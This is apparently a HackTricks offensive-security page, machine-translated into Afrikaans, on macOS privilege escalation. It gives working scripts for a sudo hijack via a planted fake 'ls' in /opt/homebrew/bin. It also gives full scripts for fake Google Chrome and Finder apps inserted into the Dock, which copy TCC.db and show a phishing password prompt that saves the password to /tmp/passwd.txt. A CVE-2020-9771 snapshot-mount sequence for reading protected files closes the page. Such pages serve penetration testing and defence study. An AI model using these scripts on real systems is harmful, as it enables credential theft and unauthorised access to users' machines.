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241 lines
9.3 KiB
Markdown
241 lines
9.3 KiB
Markdown
# macOS Privilege Escalation
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{{#include ../../banners/hacktricks-training.md}}
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## TCC Privilege Escalation
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As jy hier gekom het op soek na TCC privilege escalasie, gaan na:
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{{#ref}}
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macos-security-protections/macos-tcc/
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{{#endref}}
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## Linux Privesc
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Neem asseblief kennis dat **meeste van die truuks oor privilege escalasie wat Linux/Unix raak, ook MacOS** masjiene sal raak. So kyk na:
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{{#ref}}
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../../linux-hardening/privilege-escalation/
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{{#endref}}
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## Gebruiker Interaksie
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### Sudo Hijacking
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Jy kan die oorspronklike [Sudo Hijacking tegniek binne die Linux Privilege Escalation pos vind](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
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E however, macOS **onderhou** die gebruiker se **`PATH`** wanneer hy **`sudo`** uitvoer. Dit beteken dat 'n ander manier om hierdie aanval te bereik, sou wees om **ander binaries** te **hijack** wat die slagoffer steeds sal uitvoer wanneer **sudo** gedraai word:
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```bash
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# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
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cat > /opt/homebrew/bin/ls <<EOF
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#!/bin/bash
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if [ "\$(id -u)" -eq 0 ]; then
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whoami > /tmp/privesc
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fi
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/bin/ls "\$@"
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EOF
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chmod +x /opt/homebrew/bin/ls
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# victim
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sudo ls
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```
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Let daarop dat 'n gebruiker wat die terminal gebruik, hoogs waarskynlik **Homebrew geïnstalleer** sal hê. Dit maak dit moontlik om binaries in **`/opt/homebrew/bin`** te kap.
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### Dock Imitasie
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Deur sommige **sosiale ingenieurswese** te gebruik, kan jy **byvoorbeeld Google Chrome imiteer** binne die dock en eintlik jou eie skrip uitvoer:
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{{#tabs}}
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{{#tab name="Chrome Imitasie"}}
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Sommige voorstelle:
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- Kyk in die Dock of daar 'n Chrome is, en in daardie geval **verwyder** daardie inskrywing en **voeg** die **valse** **Chrome-inskrywing in dieselfde posisie** in die Dock-array by.
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```bash
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#!/bin/sh
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# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
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# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
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rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
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# Create App structure
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mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
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mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
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# Payload to execute
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cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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int main() {
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char *cmd = "open /Applications/Google\\\\ Chrome.app & "
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"sleep 2; "
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"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
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"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
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"echo \$PASSWORD > /tmp/passwd.txt";
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system(cmd);
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return 0;
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}
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EOF
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gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
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rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
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chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
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# Info.plist
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cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
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"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>CFBundleExecutable</key>
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<string>Google Chrome</string>
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<key>CFBundleIdentifier</key>
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<string>com.google.Chrome</string>
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<key>CFBundleName</key>
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<string>Google Chrome</string>
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<key>CFBundleVersion</key>
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<string>1.0</string>
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<key>CFBundleShortVersionString</key>
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<string>1.0</string>
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<key>CFBundleInfoDictionaryVersion</key>
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<string>6.0</string>
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<key>CFBundlePackageType</key>
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<string>APPL</string>
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<key>CFBundleIconFile</key>
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<string>app</string>
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</dict>
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</plist>
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EOF
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# Copy icon from Google Chrome
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cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
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# Add to Dock
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defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
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sleep 0.1
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killall Dock
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```
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{{#endtab}}
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{{#tab name="Finder Impersonation"}}
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Sommige voorstelle:
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- Jy **kan nie Finder uit die Dock verwyder nie**, so as jy dit aan die Dock wil toevoeg, kan jy die vals Finder net langs die werklike een plaas. Hiervoor moet jy die **vals Finder inskrywing aan die begin van die Dock-array voeg**.
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- 'n Ander opsie is om dit nie in die Dock te plaas nie en net oop te maak, "Finder vra om Finder te beheer" is nie so vreemd nie.
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- 'n Ander opsie om **na root te eskaleer sonder om** die wagwoord met 'n vreeslike boks te vra, is om Finder regtig te laat vra vir die wagwoord om 'n bevoorregte aksie uit te voer:
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- Vra Finder om na **`/etc/pam.d`** 'n nuwe **`sudo`** lêer te kopieer (Die prompt wat om die wagwoord vra, sal aandui dat "Finder wil sudo kopieer")
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- Vra Finder om 'n nuwe **Authorization Plugin** te kopieer (Jy kan die lêernaam beheer sodat die prompt wat om die wagwoord vra, sal aandui dat "Finder wil Finder.bundle kopieer")
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```bash
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#!/bin/sh
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# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
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# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
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rm -rf /tmp/Finder.app/ 2>/dev/null
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# Create App structure
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mkdir -p /tmp/Finder.app/Contents/MacOS
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mkdir -p /tmp/Finder.app/Contents/Resources
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# Payload to execute
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cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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int main() {
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char *cmd = "open /System/Library/CoreServices/Finder.app & "
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"sleep 2; "
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"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
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"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
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"echo \$PASSWORD > /tmp/passwd.txt";
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system(cmd);
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return 0;
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}
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EOF
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gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
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rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
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chmod +x /tmp/Finder.app/Contents/MacOS/Finder
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# Info.plist
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cat << EOF > /tmp/Finder.app/Contents/Info.plist
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
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"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>CFBundleExecutable</key>
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<string>Finder</string>
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<key>CFBundleIdentifier</key>
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<string>com.apple.finder</string>
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<key>CFBundleName</key>
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<string>Finder</string>
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<key>CFBundleVersion</key>
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<string>1.0</string>
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<key>CFBundleShortVersionString</key>
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<string>1.0</string>
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<key>CFBundleInfoDictionaryVersion</key>
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<string>6.0</string>
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<key>CFBundlePackageType</key>
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<string>APPL</string>
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<key>CFBundleIconFile</key>
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<string>app</string>
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</dict>
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</plist>
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EOF
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# Copy icon from Finder
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cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
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# Add to Dock
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defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
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sleep 0.1
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killall Dock
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```
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{{#endtab}}
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{{#endtabs}}
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## TCC - Wortel Privilege Escalation
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### CVE-2020-9771 - mount_apfs TCC omseiling en privilege escalasie
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**Enige gebruiker** (selfs onprivilegieerde) kan 'n tydmasjien-snapshot skep en monteer en **toegang hê tot AL die lêers** van daardie snapshot.\
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Die **enige privilegie** wat benodig word, is dat die toepassing wat gebruik word (soos `Terminal`) **Volledige Skyftoegang** (FDA) toegang moet hê (`kTCCServiceSystemPolicyAllfiles`) wat deur 'n admin toegestaan moet word.
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```bash
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# Create snapshot
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tmutil localsnapshot
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# List snapshots
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tmutil listlocalsnapshots /
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Snapshots for disk /:
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com.apple.TimeMachine.2023-05-29-001751.local
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# Generate folder to mount it
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cd /tmp # I didn it from this folder
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mkdir /tmp/snap
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# Mount it, "noowners" will mount the folder so the current user can access everything
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/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
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# Access it
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ls /tmp/snap/Users/admin_user # This will work
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```
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'n Meer gedetailleerde verduideliking kan [**gevind word in die oorspronklike verslag**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
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## Sensitiewe Inligting
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Dit kan nuttig wees om voorregte te verhoog:
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{{#ref}}
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macos-files-folders-and-binaries/macos-sensitive-locations.md
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{{#endref}}
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{{#include ../../banners/hacktricks-training.md}}
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